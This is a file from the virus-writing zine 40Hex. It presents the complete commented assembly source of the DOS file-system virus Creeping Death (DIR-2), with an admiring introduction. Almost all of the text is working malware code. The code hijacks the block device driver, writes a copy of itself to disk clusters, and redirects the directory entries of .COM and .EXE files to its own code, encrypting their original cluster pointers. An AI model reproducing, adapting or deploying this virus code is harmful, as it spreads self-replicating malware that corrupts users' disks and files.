40Hex Number 6 Volume 2 Issue 2 File 00A Welcome to this issue's VIRUS SPOTLITE, the infamous Creeping Death(dir2). This is one of the most impressive viruses out there, and VirusSoft looks to be a promising group in the future. Unfortunately, the source code we obtained had almost no comments. Dark Angel commented it as best as he possibly could, but I think it is safe to say that there may be a few discrepancies. Nonetheless, it was an excellent job, kudos to DA. Although I am writing this header, I had nothing to do with the commenting, so Dark Angel gets all the credit. -)GHeap ------------------------------------------------------------------------------- ; Dark Angel's comments: I spent my entire waking hours looking at this virus. ; I love it. It is my life. I worship the drive it ; infects. Take a look at it. Let not my troubles be ; in vain. Why did I do this? I sacrifice my life for ; the benefit of 40Hex. If you don't read this, I'm ; gonna go join [NuKE]. ; Creeping Death V 1.0 ; ; (C) Copyright 1991 by VirusSoft Corp. i13org = 5f8h i21org = 5fch dir_2 segment byte public assume cs:dir_2, ds:dir_2 org 100h start: mov sp,600h ; Set up the stack pointer inc word ptr counter ; Generation counter xor cx,cx mov ds,cx ; DS points to interrupt table lds ax, ds:[0c1h] ; Find interrupt 30h add ax,21h ; Change it to Int 21h push ds ; Save it on stack for use by push ax ; subroutine "jump" mov ah,30h ; Get DOS version call jump cmp al,4 ; DOS 4.X+ : SI = 0 sbb si,si ; DOS 2/3 : SI = -1 mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to ; "never accessed" mov bx,60h ; Adjust memory in ES to mov ah,4ah ; BX paragraphs. call jump mov ah,52h ; Get DOS List of Lists call jump ; to ES:BX push es:[bx-2] ; Save Segment of first MCB lds bx,es:[bx] ; DS:BX -> 1st DPB ; (Drive parameter block) search: mov ax,[bx+si+15h] ; Get segment of device driver cmp ax,70h ; Is it CONFIG? (I think) jne next ; If not, try again xchg ax,cx ; Move driver segment to CX mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt mov di,[bx+si+13h] ; Save offset of device driver ; Original device driver ; address in CX:DI mov [bx+si+13h],offset header ; Replace with our own mov [bx+si+15h],cs ; (header) next: lds bx,[bx+si+19h] ; Get next device block cmp bx,-1 ; Is it the last one? jne search ; If not, search it jcxz install pop ds ; Restore segment of first mov ax,ds ; MCB add ax,ds:[3] ; Go to next MCB inc ax ; AX = segment next MCB mov dx,cs ; DX = MCB owning current dec dx ; program cmp ax,dx ; Are these the same? jne no_boot ; If not, we are not currently ; in the middle of a reboot add word ptr ds:[3],61h ; Increase length owned by ; MCB by 1552 bytes no_boot: mov ds,dx ; DS = MCB owning current ; program mov word ptr ds:[1],8 ; Set owner = DOS mov ds,cx ; DS = segment of original ; device driver les ax,[di+6] ; ES = offset int handler ; AX = offset strategy entry mov word ptr cs:str_block,ax ; Save entry point mov word ptr cs:int_block,es ; And int block for use in ; function _in cld ; Scan for the write mov si,1 ; function in the scan: dec si ; original device driver lodsw cmp ax,1effh jne scan mov ax,2cah ; Wicked un-yar place o' cmp [si+4],ax ; doom. je right cmp [si+5],ax jne scan right: lodsw push cs pop es mov di,offset modify+1 ; Save address of patch stosw ; area so it can be changed xchg ax,si ; later. mov di,offset i13org ; This is in the stack, but cli ; it is used by "i13pr" movsw movsw mov dx,0c000h ; Scan for hard disk ROM ; Start search @ segment C000h fdsk1: mov ds,dx ; Load up the segment xor si,si ; atart at offset 0000h lodsw ; Scan for the signature cmp ax,0aa55h ; Is it the signature? jne fdsk4 ; If not, change segment cbw ; clear AH lodsb ; load a byte to AL mov cl,9 sal ax,cl ; Shift left, 0 filled fdsk2: cmp [si],6c7h jne fdsk3 cmp word ptr [si+2],4ch jne fdsk3 push dx ; Save the segment push [si+4] ; and offset on stack jmp short death ; for use by i13pr install: int 20h file: db "c:",255,0 fdsk3: inc si ; Increment search offset cmp si,ax ; If we are not too high, jb fdsk2 ; try again fdsk4: inc dx ; Increment search segment cmp dh,0f0h ; If we are not in high jb fdsk1 ; memory, try again sub sp,4 ; effectively push dummy vars. death: push cs ; on stack for use by i13pr pop ds mov bx,ds:[2ch] ; Get environment from PSP mov es,bx mov ah,49h ; Release it (to save memory) call jump xor ax,ax test bx,bx ; Is BX = 0? jz boot ; If so, we are booting now mov di,1 ; and not running a file seek: dec di ; Search for end of scasw ; the environment block jne seek lea si,[di+2] ; SI points to filename jmp short exec ; (in DOS 3.X+) ; Execute that file boot: mov es,ds:[16h] ; get PSP of parent mov bx,es:[16h] ; get PSP of parent dec bx ; go to its MCB xor si,si exec: push bx mov bx,offset param ; Set up parameter block ; for EXEC function mov [bx+4],cs ; segment to command line mov [bx+8],cs ; segment to 1st FCB mov [bx+12],cs ; segment to 2nd FCB pop ds push cs pop es mov di,offset f_name push di ; Save filename offset mov cx,40 ; Copy the filename to rep movsw ; the buffer push cs pop ds mov ah,3dh ; Handle open file mov dx,offset file ; "c:ÿ",0 call jump pop dx ; DS:DX -> filename mov ax,4b00h ; Load and Execute call jump ; ES:BX = param block mov ah,4dh ; Get errorlevel call jump mov ah,4ch ; Terminate jump: pushf ; Simulate an interrupt 21h call dword ptr cs:[i21org] ret ;--------Installation complete i13pr: mov ah,3 ; Write AL sectors from ES:BX jmp dword ptr cs:[i13org] ; to track CH, sector CL, ; head DH, drive DL main: push ax ; driver push cx ; strategy block push dx push ds push si push di push es ; Move segment of parameter pop ds ; block to DS mov al,[bx+2] ; [bx+2] holds command code cmp al,4 ; Input (read) je input cmp al,8 ; Output (write) je output cmp al,9 ; Output (write) with verify je output call in_ ; Call original device cmp al,2 ; Request build BPB jne ppp ; If none of the above, exit lds si,[bx+12h] ; DS:SI point to BPB table mov di,offset bpb_buf ; Replace old pointer with mov es:[bx+12h],di ; a pointer to our own mov es:[bx+14h],cs ; BPB table push es ; Save segment of parameters push cs pop es mov cx,16 ; Copy the old BPB table to rep movsw ; our own pop es ; Restore parameter segment push cs pop ds mov al,[di+2-32] ; AL = sectors per allocation cmp al,2 ; unit. If less than adc al,0 ; 2, increment cbw ; Extend sign to AH (clear AH) cmp word ptr [di+8-32],0 ; Is total number sectors = 0? je m32 ; If so, big partition (>32MB) sub [di+8-32],ax ; Decrease space of disk by ; one allocation unit(cluster) jmp short ppp ; Exit m32: sub [di+15h-32],ax ; Handle large partitions sbb word ptr [di+17h-32],0 ppp: pop di pop si pop ds pop dx pop cx pop ax rts: retf ; We are outta here! output: mov cx,0ff09h call check ; is it a new disk? jz inf_sec ; If not, go away call in_ ; Call original device handler jmp short inf_dsk inf_sec: jmp _inf_sec read: jmp _read read_: add sp,16 ; Restore the stack jmp short ppp ; Leave device driver input: call check ; Is it a new disk? jz read ; If not, leave inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ cld lea si,[bx+0eh] ; Load from buffer address mov cx,8 ; Save device driver request save: lodsw ; on the stack push ax loop save mov word ptr [bx+14h],1 ; Starting sector number = 1 ; (Read 1st FAT) call driver ; Read one sector jnz read_ ; If error, exit mov byte ptr [bx+2],2 ; Otherwise build BPB call in_ ; Have original driver do the ; work lds si,[bx+12h] ; DS:SI points to BPB table mov ax,[si+6] ; Number root directory entries add ax,15 ; Round up mov cl,4 shr ax,cl ; Divide by 16 to find sectors ; of root directory mov di,[si+0bh] ; DI = sectors/FAT add di,di ; Double for 2 FATs stc ; Add one for boot record adc di,ax ; Add sector size of root dir push di ; to find starting sector of ; data (and read) cwd ; Clear DX mov ax,[si+8] ; AX = total sectors test ax,ax ; If it is zero, then we have jnz more ; an extended partition(>32MB) mov ax,[si+15h] ; Load DX:AX with total number mov dx,[si+17h] ; of sectors more: xor cx,cx sub ax,di ; Calculate FAT entry for last ; sector of disk sbb dx,cx mov cl,[si+2] ; CL = sectors/cluster div cx ; AX = cluster # cmp cl,2 ; If there is more than 1 sbb ax,-1 ; cluster/sector, add one push ax ; Save cluster number call convert ; AX = sector number to read ; DX = offset in sector AX ; of FAT entry ; DI = mask for EOF marker mov byte ptr es:[bx+2],4 ; INPUT (read) mov es:[bx+14h],ax ; Starting sector = AX call driver ; One sector only again: lds si,es:[bx+0eh] ; DS:SI = buffer address add si,dx ; Go to FAT entry sub dh,cl ; Calculate a new encryption adc dx,ax ; value mov word ptr cs:gad+1,dx ; Change the encryption value cmp cl,1 ; If there is 0 cluster/sector je small_ ; then jump to "small_" mov ax,[si] ; Load AX with offset of FAT ; entry and ax,di ; Mask it with value from ; "convert" then test to see ; if the sector is fine cmp ax,0fff7h ; 16 bit reserved/bad je bad cmp ax,0ff7h ; 12 bit reserved/bad je bad cmp ax,0ff70h ; 12 bit reserved/bad jne ok bad: pop ax ; Tried to replicate on a bad dec ax ; cluster. Try again on a push ax ; lower one. call convert ; Find where it is in the FAT jmp short again ; and try once more small_: not di ; Reverse mask bits and [si],di ; Clear other bits pop ax ; AX = cluster number push ax inc ax ; Need to do 2 consecutive push ax ; bytes mov dx,0fh test di,dx jz here inc dx ; Multiply by 16 mul dx here: or [si],ax ; Set cluster to next pop ax ; Restore cluster of write call convert ; Calculate buffer offset mov si,es:[bx+0eh] ; Go to FAT entry (in buffer) add si,dx mov ax,[si] and ax,di ok: mov dx,di ; DI = mask from "convert" dec dx and dx,di ; Yerg! not di and [si],di or [si],dx ; Set [si] to DI cmp ax,dx ; Did we change the FAT? pop ax ; i.e. Are we already on this pop di ; disk? mov word ptr cs:pointer+1,ax ; Our own starting cluster je _read_ ; If we didn't infect, then ; leave the routine. Oh ; welp-o. mov dx,[si] push ds push si call write ; Update the FAT pop si pop ds jnz _read_ ; Quit if there's an error call driver cmp [si],dx jne _read_ dec ax dec ax mul cx ; Multiply by sectors/cluster ; to find the sector of the ; write add ax,di adc dx,0 push es pop ds mov word ptr [bx+12h],2 ; Byte/sector count mov [bx+14h],ax ; Starting sector # test dx,dx jz less mov word ptr [bx+14h],-1 ; Flag extended partition mov [bx+1ah],ax ; Handle the sector of the mov [bx+1ch],dx ; extended partition less: mov [bx+10h],cs ; Transfer address segment mov [bx+0eh],100h ; and the offset (duh) call write ; Zopy ourselves! ; (We want to travel) _read_: std lea di,[bx+1ch] ; Restore device driver header mov cx,8 ; from the stack load: pop ax stosw loop load _read: call in_ ; Call original device handler mov cx,9 _inf_sec: mov di,es:[bx+12h] ; Bytes/Sector lds si,es:[bx+0eh] ; DS:SI = pointer to buffer sal di,cl ; Multiply by 512 ; DI = byte count xor cl,cl add di,si ; Go to address in the buffer xor dl,dl ; Flag for an infection in ; function find push ds push si call find ; Infect the directory jcxz no_inf call write ; Write it back to the disk and es:[bx+4],byte ptr 07fh ; Clear error bit in status ; word no_inf: pop si pop ds inc dx ; Flag for a decryption in ; function find call find ; Return right information to ; calling program jmp ppp ;--------Subroutines find: mov ax,[si+8] ; Check filename extension cmp ax,"XE" ; in directory structure jne com cmp [si+10],al je found com: cmp ax,"OC" jne go_on cmp byte ptr [si+10],"M" jne go_on found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word jnz go_on ; to see if it is too big test [si+1dh],03ff8h ; <2048B ; Check file size low word jz go_on ; to see if it is too small test [si+0bh],byte ptr 1ch ; Check attribute for subdir, jnz go_on ; volume label or system file test dl,dl ; If none of these, check DX jnz rest ; If not 0, decrypt pointer: mov ax,1234h ; mov ax, XX modified elsewhere cmp ax,[si+1ah] ; Check for same starting ; cluster number as us je go_on ; If it is, then try another xchg ax,[si+1ah] ; Otherwise make it point to ; us. gad: xor ax,1234h ; Encrypt their starting ; cluster mov [si+14h],ax ; And put it in area reserved ; by DOS for no purpose loop go_on ; Try another file rest: xor ax,ax ; Disinfect the file xchg ax,[si+14h] ; Get starting cluster xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster mov [si+1ah],ax ; and put it back go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1 dw offset gad+1 ; Change encryption and add si,32 ; go to next file cmp di,si ; If it is not past the end of jne find ; the buffer, then try again ret ; Otherwise quit check: mov ah,[bx+1] ; ah = unit code (block device ; only) drive: cmp ah,-1 ; cmp ah, XX can change. ; Compare with the last call ; -1 is just a dummy ; impossible value that will ; force the change to be true mov byte ptr cs:[drive+2],ah ; Save this call's drive jne changed ; If not the same as last call ; media has changed push [bx+0eh] ; If it is the same physical ; drive, see if floppy has ; been changed mov byte ptr [bx+2],1 ; Tell original driver to do a call in_ ; media check (block only) cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if pop [bx+0eh] ; media has not been changed mov [bx+2],al ; Restore command code changed: ret ; CF,ZF set if media has not ; been changed, not set if ; has been changed or we don't ; know write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to jae in_ ; original device handler ; and return to caller mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT mov si,70h mov ds,si ; DS = our segment modify: mov si,1234h ; Address is changed elsewhere push [si] push [si+2] mov [si],offset i13pr mov [si+2],cs call in_ ; Call original device handler pop [si+2] pop [si] ret driver: mov word ptr es:[bx+12h],1 ; One sector in_: ; in_ first calls the strategy ; of the original device ; driver and then calls the ; interrupt handler db 09ah ; CALL FAR PTR str_block: dw ?,70h ; address db 09ah ; CALL FAR PTR int_block: dw ?,70h ; address test es:[bx+4],byte ptr 80h ; Was there an error? ret convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT jae fat_16 ; 0FF0h = reserved cluster mov si,3 ; 12 bit FAT xor word ptr cs:[si+gad-1],si ; Change the encryption value mul si ; Multiply by 3 and shr ax,1 ; divide by 2 mov di,0fffh ; Mark it EOF (low 12 bits) jnc cont ; if it is even, continue mov di,0fff0h ; otherwise, mark it EOF (high jmp short cont ; 12 bits) and then continue fat_16: mov si,2 ; 16 bit FAT mul si ; Double cluster # mov di,0ffffh ; Mark it as end of file cont: mov si,512 div si ; AX = sector number ; (relative to start of FAT) ; DX = offset in sector AX header: inc ax ; Increment AX to account for ret ; boot record counter: dw 0 dw 842h ; Attribute ; Block device ; DOS 3 OPEN/CLOSE removable ; media calls supported ; Generic IOCTL call supported ; Supports 32 bit sectors dw offset main ; Strategy routine dw offset rts ; Interrupt routine (rtf) db 7fh ; Number of subunits supported ; by this driver. Wow, lookit ; it -- it's so large and juicy ; Parameter block format: ; 0 WORD Segment of environment ; 2 DWORD pointer to command line ; 6 DWORD pointer to 1st default FCB ;10 DWORD pointer to 2nd default FCB param: dw 0,80h,?,5ch,?,6ch,? bpb_buf: db 32 dup(?) f_name: db 80 dup(?) ;--------The End. dir_2 ends end start MsDos -------------------------------------------------------------------------------